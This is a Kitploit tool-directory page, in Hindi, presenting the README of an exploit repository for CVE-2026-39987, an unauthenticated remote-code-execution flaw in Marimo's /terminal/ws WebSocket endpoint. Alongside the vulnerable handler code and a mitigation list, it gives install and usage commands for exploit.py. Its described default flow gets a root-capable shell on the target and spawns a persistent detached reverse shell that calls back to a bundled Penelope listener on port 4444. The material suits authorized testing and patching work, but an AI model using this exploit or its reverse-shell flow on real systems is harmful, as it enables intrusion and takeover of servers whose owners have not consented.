Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-39987 — 0.23.0 से पहले के संस्करणों के लिए Marimo एक्सप्लॉइट। websocket एंडपॉइंट : /terminal/ws के माध्यम से बिना प्रमाणीकरण के RCE भेद्यता। | Kitploit
उपकरण/GitHubGitHub/gbuyssens/cve-2026-39987
पेलोड जनरेशनशोषणवेब एप्लिकेशन शोषणपोस्ट-शोषणपेनिट्रेशन टेस्टिंगरिमोट एक्सेस टूल
GitHubgbuyssens/cve-2026-39987

CVE-2026-39987

0.23.0 से पहले के संस्करणों के लिए Marimo एक्सप्लॉइट। websocket एंडपॉइंट : /terminal/ws के माध्यम से बिना प्रमाणीकरण के RCE भेद्यता।

रिपॉजिटरी देखें
18 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-39987 — Marimo प्री-ऑथ RCE (/terminal/ws)

root@kitploit:~
CVSS 4.0 : 9.3 CRITICAL
CVSS 3.x : 9.8 CRITICAL
CWE      : CWE-306 (Missing Authentication for Critical Function)
Fix      : Marimo 0.23.0+
Affects  : Marimo <= 0.20.4 (all builds prior to the auth fix)

बिना प्रमाणीकरण के रिमोट कोड निष्पादन Marimo में, जो एक रिएक्टिव Python नोटबुक सर्वर है।
/terminal/ws पर एक अकेला बिना-प्रमाणीकरण वाला WebSocket कनेक्शन, Marimo प्रक्रिया चलाने वाले उपयोगकर्ता (अक्सर Docker में root) के रूप में एक पूर्ण इंटरैक्टिव PTY शेल प्रदान करता है।

केवल लैब / अधिकृत परीक्षण हेतु (HTB, CTF, लिखित दायरे वाला एंगेजमेंट)।


विषय-सूची

  • भेद्यता सारांश
  • मूल कारण
  • हमले की श्रृंखला
  • प्रभावित संस्करण
  • यह रिपॉज़िटरी
  • स्थापना
  • उपयोग
  • Penelope एकीकरण
  • निवारण
  • संदर्भ

भेद्यता सारांश

Marimo WebSocket पर एक एकीकृत टर्मिनल प्रदान करता है:

root@kitploit:~
ws://<host>:<port>/terminal/ws
wss://<host>/terminal/ws

अन्य WebSocket रूट (विशेष रूप से नोटबुक UI के लिए /ws) सही ढंग से validate_auth() को कॉल करते हैं।
/terminal/ws नहीं करता। यह केवल जाँचता है:

  1. सर्वर edit मोड में है
  2. प्लेटफ़ॉर्म PTY का समर्थन करता है

फिर तुरंत:

root@kitploit:~
await websocket.accept()
child_pid, fd = pty.fork()   # full system shell

कोई कुकी, टोकन, पासवर्ड या Authorization हेडर आवश्यक नहीं है — तब भी जब इंस्टेंस पर प्रमाणीकरण सक्षम हो।

प्रभाव: Marimo प्रक्रिया के विशेषाधिकारों के साथ बिना प्रमाणीकरण के आर्बिट्ररी कमांड निष्पादन। डिफ़ॉल्ट कंटेनर इमेज में यह अक्सर root होता है।


मूल कारण

फ़ाइल (भेद्य ट्री): marimo/_server/api/endpoints/terminal.py

root@kitploit:~
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    if app_state.mode != SessionMode.EDIT:
        await websocket.close(...)
        return
    if not supports_terminal():
        await websocket.close(...)
        return
    # <<< no validate_auth() / @requires("edit") >>>
    await websocket.accept()
    child_pid, fd = pty.fork()
    # ... bridge WebSocket <-> PTY ...

नोटबुक WebSocket (ws_endpoint.py) से तुलना करें, जो वास्तव में प्रमाणीकरण लागू करता है:

root@kitploit:~
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth():
    return

हमले की श्रृंखला

root@kitploit:~
 Attacker                         Marimo (edit mode)
    |                                    |
    |  WS upgrade /terminal/ws           |
    |----------------------------------->|
    |  101 Switching Protocols           |
    |  (no auth challenge)               |
    |<-----------------------------------|
    |                                    |  pty.fork() → /bin/bash
    |  "id\n"                            |
    |----------------------------------->|
    |  uid=1000(marimo) ...              |
    |<-----------------------------------|
    |  persistent reverse shell          |
    |----------------------------------->|
    |         <======== TCP shell =======|
  1. बिना क्रेडेंशियल के ws(s)://target/terminal/ws से कनेक्ट करें
  2. सर्वर कनेक्शन स्वीकार करता है और PTY-आधारित शेल स्पॉन करता है
  3. WebSocket पर कीस्ट्रोक्स (कमांड) भेजें
  4. वैकल्पिक रूप से एक डिटैच्ड रिवर्स शेल स्पॉन करें जो WS टियरडाउन के बाद भी जीवित रहे

प्रभावित संस्करण

स्थितिसंस्करण
असुरक्षितMarimo <= 0.20.4 (फिक्स-पूर्व)
सुरक्षितMarimo 0.23.0 और उसके बाद

कोई भी डिप्लॉयमेंट जो बाहरी auth गेटवे के बिना टर्मिनल WebSocket (edit मोड, PTY समर्थित) को एक्सपोज़ करता है, दायरे में है।


यह रिपॉज़िटरी

फ़ाइलभूमिका
exploit.pyPoC: कमांड निष्पादन + स्थायी रिवर्स शेल + Penelope लॉन्चर
penelope.pyस्टैंडअलोन शेल हैंडलर (brightio/penelope)
README.mdयह फ़ाइल

स्थापना

root@kitploit:~
git clone <this-repo> CVE-2026-39987
cd CVE-2026-39987
chmod +x exploit.py penelope.py

penelope.py को कोई अतिरिक्त डिपेंडेंसी नहीं चाहिए (Python 3.6+ मानक लाइब्रेरी)।


उपयोग

1. एक-शॉट कमांड निष्पादन

root@kitploit:~
python3 exploit.py https://example.lab "id"
python3 exploit.py https://example.lab  -p
python3 exploit.py wss://example.lab/terminal/ws "whoami"

क्या होता है:

  1. एक forked चाइल्ड थोड़ी देर प्रतीक्षा करता है, फिर /terminal/ws के माध्यम से एक डिटैच्ड रिवर्स शेल भेजता है
  2. पैरेंट प्रक्रिया 0.0.0.0:4444 पर Penelope को exec करती है
  3. जब कॉलबैक आता है, Penelope स्वतः अटैच हो जाता है और सेशन को अपग्रेड करता है

यदि आवश्यक हो

root@kitploit:~
python3 exploit.py -h

Penelope एकीकरण

Penelope एक स्टैंडअलोन स्क्रिप्ट (penelope.py) के रूप में बंडल किया गया है:

  • कोई इंस्टॉल नहीं, केवल stdlib
  • मल्टी-सेशन हैंडलर
  • स्वचालित TTY अपग्रेड
  • फ़ाइल अपलोड/डाउनलोड, लॉगिंग, आदि।

डिफ़ॉल्ट प्रवाह (-p):

root@kitploit:~
exploit.py
   ├── fork child ──delay──► WS /terminal/ws ──► setsid/nohup revshell
   │
   └── exec ► penelope.py <PORT> -i 0.0.0.0
                    ▲
                    │ TCP callback
                    └── victim

चाइल्ड का उपयोग जानबूझकर किया जाता है: os.execv(penelope) पैरेंट प्रक्रिया इमेज को बदल देता है, जो बैकग्राउंड थ्रेड को मार देगा।

मैन्युअल Penelope:

root@kitploit:~
python3 penelope.py 4444
python3 penelope.py 4444 -i 0.0.0.0
python3 penelope.py -a          # show sample payloads for active listeners

निवारण

  1. Marimo >= 0.23.0 पर अपग्रेड करें (pip install -U marimo)
  2. पब्लिक इंटरनेट पर edit-मोड नोटबुक सर्वर को न एक्सपोज़ करें
  3. यदि ऐप को रिमोट होना ही है, तो रिवर्स प्रॉक्सी पर authn/authz लगाएँ
  4. localhost / प्राइवेट नेटवर्क से बाइंड करें; VPN या SSH टनल का उपयोग करें
  5. संदिग्ध एक्सप्लॉयटेशन के बाद: होस्ट से सुलभ क्रेडेंशियल रोटेट करें (क्लाउड की, .env, SSH की), आउटबाउंड कनेक्शन और पर्सिस्टेंस की ऑडिट करें

संदर्भ

  • NVD — CVE-2026-39987
  • GHSA-2679-6mx9-h9xc
  • Marimo फिक्स PR #9098
  • Resecurity विश्लेषण
  • Penelope शेल हैंडलर

अस्वीकरण

यह प्रोजेक्ट केवल अधिकृत सुरक्षा परीक्षण, शिक्षा और डिफेंसिव शोध के लिए है।
आप लागू कानूनों और अपनी लैब या क्लाइंट के एंगेजमेंट नियमों का पालन करने के लिए ज़िम्मेदार हैं।

टूल डाउनलोड करें